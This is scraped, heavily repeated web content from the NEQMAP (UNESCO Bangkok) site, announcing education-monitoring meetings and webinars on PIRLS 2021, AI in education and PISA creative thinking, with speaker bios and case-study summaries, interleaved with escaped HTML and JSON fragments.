PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education.

PIRLS is the first published international assessment that successfully collected data during the COVID-19 pandemic, assessing 400,000 students in 57 countries. <\/p>\n\n\n\nPIRLS 2021 was the fifth assessment cycle marking 20 years of trends, and the transition to digital assessment. Approximately half the countries evaluated students using a state-of-the-art digital assessment with engaging and interactive reading assessment materials, including simulated online projects with multiple websites, videos, and navigational features such as links and pop-ups. PIRLS 2021 collected a considerable amount of information from school principals, parents, and teachers as well. <\/p>\n\n\n\nThe five PIRLS trend assessments conducted to date resulted from close collaboration among the participating countries, involving thousands of collaborators internationally. IEA and Boston College remain committed to supporting countries in improving their education systems and ensuring that all students have access to high quality education. The report, PIRLS 2021 International Results, <\/em>provides important insights into the current state of literacy education. It also serves as a fundamental resource for educators, policymakers, and researchers worldwide to monitor educational recovery from the COVID-19 pandemic.<\/p>\n\n\n\nSeven members of NEQMAP participated in PIRLS 2021.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

In this webinar we discuss the PISA creative thinking assessment framework, including what is involved in the assessment and what we hope to learn from the data.<\/p>\n\n\n\nDate:<\/strong> 14 March 2023, 3:30 pm \u2013 4:45 pm Bangkok time (GMT+7)<\/p>\n\n\n\nRegistration Link: <a href=\"http:\/\/bit.ly\/41rrcfb\">http:\/\/bit.ly\/41rrcfb<\/a><\/strong><\/p>\n\n\n\nFor any questions on this webinar, please get in touch with the NEQMAP Secretariat (<a href=\"mailto:neqmap@unesco.org\">neqmap@unesco.org<\/a>)<\/p>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5651","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5596,"post_author":"1","post_date":"2023-02-09 11:22:00","post_date_gmt":"2023-02-09 04:22:00","post_content":"\nThe NEQMAP Secretariat kindly invites all its members to join\u00a0a webinar\u00a0consultation on the needs for\u00a0\u201cIntegrating 21st<\/sup>\u00a0century skills in teaching and learning policies and practices\u201d on 24 February 2023\u00a0from 9:30 am to 11:30 am Bangkok\u00a0time (GMT+7)<\/strong>.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

The focus of the NEQMAP topical case studies has been on how countries in the Asia-Pacific use learning assessment data in education policy and practice. <\/p>\n\n\n\nThe current series (the fourth issue) on <a href=\"https:\/\/neqmap.bangkok.unesco.org\/resource\/citizen-led-assessments-a-model-for-evidence-based-advocacy-and-action-to-improve-learning\/\">\u201cCitizen-led Assessments: A Model for Evidence-based Advocacy and Action to Improve Learning\u201d<\/strong><\/a> was released in June 2021. It illustrates a range of ways to monitor and improve learning through civil action. The Citizen-led Assessments (CLAs) model is designed as a household-based assessment to monitor and identify the most vulnerable and marginalized children, families, and communities who are often left out of school education and common school-based assessments. As such, CLAs serve as a key component of robust education monitoring systems in many developing countries. <\/p>\n\n\n\nCivil society organisations from four South Asian countries namely Bangladesh, India, Nepal and Pakistan have been implementing CLAs to assess and represent the learning levels of all children.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

She and her team have, over the last decade, developed scalable, robust methods and tools that enable teachers to assess and report on learning in difficult to assess areas of the curriculum, like the general capabilities, 21st<\/sup> Century skills, agency in learning, and more. In this presentation she will explain new metrics for learning are being established that capture the full range of ambitions for learning, using next generation assessment methods that focus on the development of competence, not just knowledge or compliance to tested requirements. These assessments are used to generate next-generation credentials which provide a trusted profile of a learner, allowing them to showcase what they are truly capable of, including their successes, across the full range of valued learning. Her work has been instrumental in current initiatives to rethink the sufficiency of metrics like PISA and other standardised tests, arguing that if used on their own, they narrow the gaze of teachers and learners to what is examinable by the old methods. The next generation approaches broaden the focus and reflect more of what we think is important for learners in their 12 years of schooling. <\/p>\n\n\n\nSpeaker:\u202f<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-large is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/07\/image-684x1024.webp\" alt=\"\" class=\"wp-image-5731\" width=\"156\" height=\"234\"\/><\/figure>\n\n\n\nEnterprise Professor Sandra Milligan<\/strong> is Executive Director of Melbourne Assessment at the Melbourne Graduate School of Education, University of Melbourne.

